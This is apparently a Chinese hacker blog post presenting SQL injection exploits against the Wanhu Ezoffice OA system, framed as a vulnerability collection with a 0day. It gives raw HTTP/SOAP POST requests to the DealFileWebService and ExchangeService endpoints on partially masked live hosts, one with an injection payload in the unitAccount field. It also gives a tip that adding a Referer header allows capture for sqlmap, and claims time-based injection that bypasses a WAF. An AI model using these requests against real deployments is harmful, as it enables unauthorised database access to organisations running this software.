万户Ezoffice 漏洞集合+0day

老版本任意文件上传、Web Service SQLi、New Web Serivce SQLi

二、SQLi

POST /defaultroot/xfservices/DealFileWebService HTTP/1.1
    Host: www.*..cn:7890
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: LocLan=zh_CN
    DNT: 1
    X-Forwarded-For: 8.8.8.8
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 567

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://com.whir.mobile/DealFileWebService">     <SOAP-ENV:Header/>     <SOAP-ENV:Body>        <urn:getUserByAccount>           <urn:userAccount>1</urn:userAccount>        </urn:getUserByAccount>     </SOAP-ENV:Body></SOAP-ENV:Envelope>

四、New Web Service SQLi

老版本看到Web Service存在 SQL 注入后，想着去看看最新的版本。但是访问 xfservices 直接跳转首页，找不到Web Serivce了。

就去找了一下开发手册看看，你猜怎么着~๑乛◡乛๑

在Web Service Editor手工测试的时候，测试出来了存在SQL注入。

后来在抓包的时候遇到了坑，无法通过浏览器和burp直接抓包。(╯—﹏—)╯（┷━━━┷ 无法抓包，怎么愉快的丢SQLmap?

就去看了看漏洞库关于web service的注入漏洞，看到了几个例子需要中转脚本?(⊙⊙?)

怎么办,我不会写中转脚本。(╥╯^╰╥)

然后通过AWVS的HTTP Editor功能才知道，原来是有Referfer验证。所以加入Referfer就可以抓POST包丢SQLMAP了~

之前wooyun的需要中转脚本的Web Service 注入同理。

so

POST包：

POST /defaultroot/services/ExchangeService HTTP/1.1
Content-Type: text/xml
SOAPAction: ""
Content-Length: 788
X-Requested-With: XMLHttpRequest
Referer: http://oa.*.*.cn:7001/defaultroot/services/ExchangeService?wsdl
Host: oa.*.*.cn:7001
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://61.187.198.50:82/defaultroot/services/ExchangeService" xmlns:urn1="http://po.exchange.govezoffice.whir.com" xmlns:urn3="http://xml.apache.org/xml-soap">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <getExchangeUnitsByParameterAll>
         <unitLevel>1</unitLevel>
         <unitAccount>1' OR 1=1 -- </unitAccount>
         <orderBy>1</orderBy>
        </getExchangeUnitsByParameterAll>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

结果你猜怎么着,出来的是延时注入,surprise!!!还无视waf....嗷呜～ヾ(*´∇`)ﾉ